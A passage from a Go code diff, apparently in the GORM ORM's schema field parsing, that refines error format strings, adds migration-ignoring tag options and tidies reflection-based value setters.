strings.Contains(field.DefaultValue, ")") || strings.ToLower(field.DefaultValue) == "null" || field.DefaultValue == ""
switch reflect.Indirect(fieldValue).Kind() {
@@ -190,28 +198,28 @@ func (schema *Schema) ParseField(fieldStruct reflect.StructField) *Field {
field.DataType = Bool
if field.HasDefaultValue && !skipParseDefaultValue {
if field.DefaultValueInterface, err = strconv.ParseBool(field.DefaultValue); err != nil {
schema.err = fmt.Errorf("failed to parse %v as default value for bool, got error: %v", field.DefaultValue, err)
schema.err = fmt.Errorf("failed to parse %s as default value for bool, got error: %v", field.DefaultValue, err)
}
}
case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:
field.DataType = Int
if field.HasDefaultValue && !skipParseDefaultValue {
if field.DefaultValueInterface, err = strconv.ParseInt(field.DefaultValue, 0, 64); err != nil {
schema.err = fmt.Errorf("failed to parse %v as default value for int, got error: %v", field.DefaultValue, err)
schema.err = fmt.Errorf("failed to parse %s as default value for int, got error: %v", field.DefaultValue, err)
}
}
case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64:
field.DataType = Uint
if field.HasDefaultValue && !skipParseDefaultValue {
if field.DefaultValueInterface, err = strconv.ParseUint(field.DefaultValue, 0, 64); err != nil {
schema.err = fmt.Errorf("failed to parse %v as default value for uint, got error: %v", field.DefaultValue, err)
schema.err = fmt.Errorf("failed to parse %s as default value for uint, got error: %v", field.DefaultValue, err)
}
}
case reflect.Float32, reflect.Float64:
field.DataType = Float
if field.HasDefaultValue && !skipParseDefaultValue {
if field.DefaultValueInterface, err = strconv.ParseFloat(field.DefaultValue, 64); err != nil {
schema.err = fmt.Errorf("failed to parse %v as default value for float, got error: %v", field.DefaultValue, err)
schema.err = fmt.Errorf("failed to parse %s as default value for float, got error: %v", field.DefaultValue, err)
}
}
case reflect.String:
@@ -219,7 +227,7 @@ func (schema *Schema) ParseField(fieldStruct reflect.StructField) *Field {
if field.HasDefaultValue && !skipParseDefaultValue {
field.DefaultValue = strings.Trim(field.DefaultValue, "'")
field.DefaultValue = strings.Trim(field.DefaultValue, "\"")
field.DefaultValue = strings.Trim(field.DefaultValue, `"`)
field.DefaultValueInterface = field.DefaultValue
}
case reflect.Struct:
@@ -289,11 +297,23 @@ func (schema *Schema) ParseField(fieldStruct reflect.StructField) *Field {
}
// setup permission
if _, ok := field.TagSettings["-"]; ok {
field.Creatable = false
field.Updatable = false
field.Readable = false
field.DataType = ""
if val, ok := field.TagSettings["-"]; ok {
val = strings.ToLower(strings.TrimSpace(val))
switch val {
case "-":
field.Creatable = false
field.Updatable = false
field.Readable = false
field.DataType = ""
case "all":
field.Creatable = false
field.Updatable = false
field.Readable = false
field.DataType = ""
field.IgnoreMigration = true
case "migration":
field.IgnoreMigration = true
}
}
if v, ok := field.TagSettings["->"]; ok {
@@ -330,7 +350,7 @@ func (schema *Schema) ParseField(fieldStruct reflect.StructField) *Field {
cacheStore := &sync.Map{}
cacheStore.Store(embeddedCacheKey, true)
if field.EmbeddedSchema, err = Parse(fieldValue.Interface(), cacheStore, embeddedNamer{Table: schema.Table, Namer: schema.namer}); err != nil {
if field.EmbeddedSchema, err = getOrParse(fieldValue.Interface(), cacheStore, embeddedNamer{Table: schema.Table, Namer: schema.namer}); err != nil {
schema.err = err
}
@@ -372,7 +392,7 @@ func (schema *Schema) ParseField(fieldStruct reflect.StructField) *Field {
}
}
} else {
schema.err = fmt.Errorf("invalid embedded struct for %v's field %v, should be struct, but got %v", field.Schema.Name, field.Name, field.FieldType)
schema.err = fmt.Errorf("invalid embedded struct for %s's field %s, should be struct, but got %v", field.Schema.Name, field.Name, field.FieldType)
}
}
@@ -403,12 +423,12 @@ func (field *Field) setupValuerAndSetter() {
} else {
v = v.Field(-idx - 1)
if v.Type().Elem().Kind() == reflect.Struct {
if !v.IsNil() {
v = v.Elem()
} else {
return nil, true
}
if v.Type().Elem().Kind() != reflect.Struct {
return nil, true
}
if !v.IsNil() {
v = v.Elem()
} else {
return nil, true
}
@@ -421,15 +441,8 @@ func (field *Field) setupValuerAndSetter() {
// ReflectValueOf
switch {
case len(field.StructField.Index) == 1:
if field.FieldType.Kind() == reflect.Ptr {
field.ReflectValueOf = func(value reflect.Value) reflect.Value {
fieldValue := reflect.Indirect(value).Field(field.StructField.Index[0])
return fieldValue
}
} else {
field.ReflectValueOf = func(value reflect.Value) reflect.Value {
return reflect.Indirect(value).Field(field.StructField.Index[0])
}
field.ReflectValueOf = func(value reflect.Value) reflect.Value {
return reflect.Indirect(value).Field(field.StructField.Index[0])
}
case len(field.StructField.Index) == 2 && field.StructField.Index[0] >= 0 && field.FieldType.Kind() != reflect.Ptr:
field.ReflectValueOf = func(value reflect.Value) reflect.Value {
@@ -466,30 +479,33 @@ func (field *Field) setupValuerAndSetter() {
field.ReflectValueOf(value).Set(reflect.New(field.FieldType).Elem())
} else {
reflectV := reflect.ValueOf(v)
// Optimal value type acquisition for v
reflectValType := reflectV.Type()
if reflectV.Type().AssignableTo(field.FieldType) {
if reflectValType.AssignableTo(field.FieldType) {
field.ReflectValueOf(value).Set(reflectV)
return
} else if reflectV.Type().ConvertibleTo(field.FieldType) {
} else if reflectValType.ConvertibleTo(field.FieldType) {
field.ReflectValueOf(value).Set(reflectV.Convert(field.FieldType))
return
} else if field.FieldType.Kind() == reflect.Ptr {
fieldValue := field.ReflectValueOf(value)
fieldType := field.FieldType.Elem()
if reflectV.Type().AssignableTo(field.FieldType.Elem()) {
if reflectValType.AssignableTo(fieldType) {
if !fieldValue.IsValid() {
fieldValue = reflect.New(field.FieldType.Elem())
fieldValue = reflect.New(fieldType)
} else if fieldValue.IsNil() {
fieldValue.Set(reflect.New(field.FieldType.Elem()))
fieldValue.Set(reflect.New(fieldType))
}
fieldValue.Elem().Set(reflectV)
return
} else if reflectV.Type().ConvertibleTo(field.FieldType.Elem()) {
} else if reflectValType.ConvertibleTo(fieldType) {
if fieldValue.IsNil() {
fieldValue.Set(reflect.New(field.FieldType.Elem()))
fieldValue.Set(reflect.New(fieldType))
}
fieldValue.Elem().Set(reflectV.Convert(field.FieldType.Elem()))
fieldValue.Elem().Set(reflectV.Convert(fieldType))
return
}
}
@@ -505,7 +521,7 @@ func (field *Field) setupValuerAndSetter() {
err = setter(value, v)
}
} else {
return fmt.Errorf("failed to set value %+v to field %v", v, field.Name)
return fmt.Errorf("failed to set value %+v to field %s", v, field.Name)
}
}
@@ -721,7 +737,7 @@ func (field *Field) setupValuerAndSetter() {
if t, err := now.Parse(data); err == nil {
field.ReflectValueOf(value).Set(reflect.ValueOf(t))
} else {
return fmt.Errorf("failed to set string %v to time.Time field %v, failed to parse it as time, got error %v", v, field.Name, err)
return fmt.Errorf("failed to set string %v to time.Time field %s, failed to parse it as time, got error %v", v, field.Name, err)
}
default:
return fallbackSetter(value, v, field.Set)
@@ -750,7 +766,7 @@ func (field *Field) setupValuerAndSetter() {
}
fieldValue.Elem().Set(reflect.ValueOf(t))
} else {
return fmt.Errorf("failed to set string %v to time.Time field %v, failed to parse it as time, got error %v", v, field.Name, err)
return fmt.Errorf("failed to set string %v to time.Time field %s, failed to parse it as time, got error %v", v, field.Name, err)
}
default:
return fallbackSetter(value, v, field.Set)
Loaded 100 of 108 files, more files were not shown because too many files have changed in this diff. Show more